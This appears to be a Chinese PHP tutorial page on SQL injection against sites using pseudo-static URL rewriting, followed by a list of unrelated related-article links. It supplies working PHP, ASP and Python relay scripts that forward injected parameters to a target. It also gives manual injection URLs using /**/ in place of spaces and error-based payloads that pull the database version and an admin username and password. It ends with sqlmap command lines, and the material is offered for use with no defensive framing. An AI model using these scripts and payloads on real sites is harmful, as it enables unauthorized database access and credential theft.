PHP针对伪静态的注入总结【附asp与Python相关代码】


Posted in PHP onAugust 01, 2017

本文实例讲述了PHP针对伪静态的注入。分享给大家供大家参考,具体如下:

一:中转注入法

1.通过http://www.xxx.com/news.php?id=1做了伪静态之后就成这样了
http://www.xxx.com/news.php/id/1.html

2.测试步骤:

中转注入的php代码:inject.php

<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(” “,”%20″,$id);
$id=str_replace(“=”,”%3D”,$id);
//$url = "http://www.xxx.com/news.php/id/$id.html";
$url = "http://www.xxx.com/news.php/id/$id.html";
//echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>

3.本地环境搭建PHP,然后访问http://127.0.0.1/inject.php?id=1

通过sqlmap或者havj可以跑注入漏洞。

附录ASP中转代码:

<%
JmdcwName=request("id")
JmStr=JmdcwName
JmStr=URLEncoding(JmStr)
JMUrl="http://192.168.235.7:8808/ad/blog/"  //实际上要请求的网址
JMUrl=JMUrl & JmStr&".html"    //拼接url
response.write JMUrl&JmStr    //我这里故意输出url来看
'JmRef="http://127.0.0.1/6kbbs/bank.asp"
JmCok=""
JmCok=replace(JmCok,chr(32),"%20") 
JmStr=URLEncoding(JmStr)  
response.write  PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串,cookie,referer字段
Function PostData(PostUrl,PostStr,PostCok,PostRef)  
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.Send ()
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)   //处理返回的信息
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin)    //发包前对参数的url编码一下
strReturn=""
Dim i
'vstrin=replace(vstrin,"%","%25") '增加转换搜索字符,
'vstrin=Replace(vstrin,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
'vstrin=Replace(vstrin,chr(43),"%2B")  'JMDCW增加转换+字符
vstrin=Replace(vstrin,chr(32),"/**/")  '在此增加要过滤的代码 //这里很关键,方便啊,把空格自动换成/**/,后面会说到的
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
URLEncoding=strReturn
End Function
%>

二、手工注入法

1.http://www.xxx.com/play/Diablo.html
http://www.xxx.com/down/html/?772.html

2.测试注入:

http://www.xxx.com/down/html/?772′.html
http://www.xxx.com /play/Diablo'.html
http://www.xxx.com/play/Diablo'/**/and
/**/1='1 /*.html
http://www.xxx.com/play/Diablo'
/**/and
/**/1='2 /*.html
http://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html 正常
http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html 出错

3.看页面是否存在差异,相同则不存在,不同存在注入。

4.联合查询:

http://www.xxx.com/play/diablo' and 1=2 union select 1,2… frominformation_schema.columns where 1='1.html
http://www.xxx.com/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html

手工注入法(二)

http://www.xxx.net/news/html/?410.html
http://www.xxx.net/news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html

注:

伪静态的注入和URL的普通GET注入不太相同

。普通url的get注入的%20,%23,+等都可以用;但是伪静态不行,会被直接传递到到url中,所以用/**/这个注释符号表示空格。

三、SQLmap方法

在sqlmap中伪静态哪儿存在注入点就加*
http://www.cunlide.com/id1/1/id2/2
python   sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″
http://www.xxx.com/news/class/?103.htm
python  sqlmap.py -u  “http://www.xxx.com/news/class/?103*.html”

四、python脚本方法

代码:

from BaseHTTPServer import *
import urllib2
class MyHTTPHandler(BaseHTTPRequestHandler):
 def do_GET(self):
  path=self.path
  path=path[path.find('id=')+3:]
  proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})
  opener = urllib2.build_opener(proxy_support)
  urllib2.install_opener(opener)
  url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/"
  try:
   response=urllib2.urlopen(url+path)
   html=response.read()
  except urllib2.URLError,e:
   html=e.read()
  self.wfile.write(html)
server = HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()

希望本文所述对大家PHP程序设计有所帮助。

PHP 相关文章推荐
使PHP自定义函数返回多个值
Nov 26 PHP
php 301转向实现代码
Sep 18 PHP
PHP递归删除目录几个代码实例
Apr 21 PHP
跟我学Laravel之视图 &amp; Response
Oct 15 PHP
ThinkPHP模板之变量输出、自定义函数与判断语句用法
Nov 01 PHP
JavaScript与HTML结合的基本使用方法整理
Oct 12 PHP
php编程每天必学之验证码
Mar 03 PHP
php array_pop 删除数组最后一个元素实例
Nov 02 PHP
关于php unset对json_encode的影响详解
Nov 14 PHP
Laravel框架实现的rbac权限管理操作示例
Jan 16 PHP
PHP Trait代码复用类与多继承实现方法详解
Jun 17 PHP
PHP递归统计系统中代码行数
Sep 19 PHP
Laravel 的数据库迁移的方法
Jul 31 #PHP
PHP实现webshell扫描文件木马的方法
Jul 31 #PHP
PHP/ThinkPHP实现批量打包下载文件的方法示例
Jul 31 #PHP
Thinkphp结合AJAX长轮询实现PC与APP推送详解
Jul 31 #PHP
php实现将二维关联数组转换成字符串的方法详解
Jul 31 #PHP
微信接口生成带参数的二维码
Jul 31 #PHP
PHP判断一个数组是另一个数组子集的方法详解
Jul 31 #PHP
You might like
无数据库的详细域名查询程序PHP版(4)
2006/10/09 PHP
也谈 PHP 和 MYSQL
2006/10/09 PHP
Thinkphp中volist标签mod控制一定记录的换行BUG解决方法
2014/11/04 PHP
javascript iframe内的函数调用实现方法
2009/07/19 Javascript
10个基于浏览器的JavaScript调试工具分享
2013/02/07 Javascript
使用jquery清空、复位整个输入域
2015/04/02 Javascript
jQuery实现的简单百分比进度条效果示例
2016/08/01 Javascript
NodeJS远程代码执行
2016/08/28 NodeJs
微信小程序 template模板详解及实例
2017/02/21 Javascript
ES6生成器用法实例分析
2017/04/10 Javascript
Angular 4.x中表单Reactive Forms详解
2017/04/25 Javascript
全面解析vue中的数据双向绑定
2017/05/10 Javascript
vue中使用refs定位dom出现undefined的解决方法
2017/12/21 Javascript
jQuery实现动态加载(按需加载)javascript文件的方法分析
2019/05/31 jQuery
在 Vue 中使用 JSX 及使用它的原因浅析
2020/02/10 Javascript
python读取html中指定元素生成excle文件示例
2014/04/03 Python
介绍Python中内置的itertools模块
2015/04/29 Python
Python使用matplotlib实现的图像读取、切割裁剪功能示例
2018/04/28 Python
python3解析库BeautifulSoup4的安装配置与基本用法
2018/06/26 Python
python使用PIL实现多张图片垂直合并
2019/01/15 Python
Django ORM 自定义 char 类型字段解析
2019/08/09 Python
win10系统Anaconda和Pycharm的Tensorflow2.0之CPU和GPU版本安装教程
2019/12/03 Python
python如何获取apk的packagename和activity
2020/01/10 Python
Django实现whoosh搜索引擎使用jieba分词
2020/04/08 Python
Python+Kepler.gl实现时间轮播地图过程解析
2020/07/20 Python
儿子婚宴答谢词
2014/01/09 职场文书
办理暂住证介绍信
2014/01/11 职场文书
同事打架检讨书
2014/02/04 职场文书
清明节扫墓活动方案
2014/03/02 职场文书
教师党员批评与自我批评发言稿
2014/10/15 职场文书
校园游戏活动新闻稿
2014/10/15 职场文书
2014年护理工作总结范文
2014/11/14 职场文书
护士求职自荐信
2015/03/25 职场文书
体育部部长竞选稿
2015/11/21 职场文书
OpenCV实现常见的四种图像几何变换
2022/04/01 Python
Ruby使用Mysql2连接操作MySQL
2022/04/19 Ruby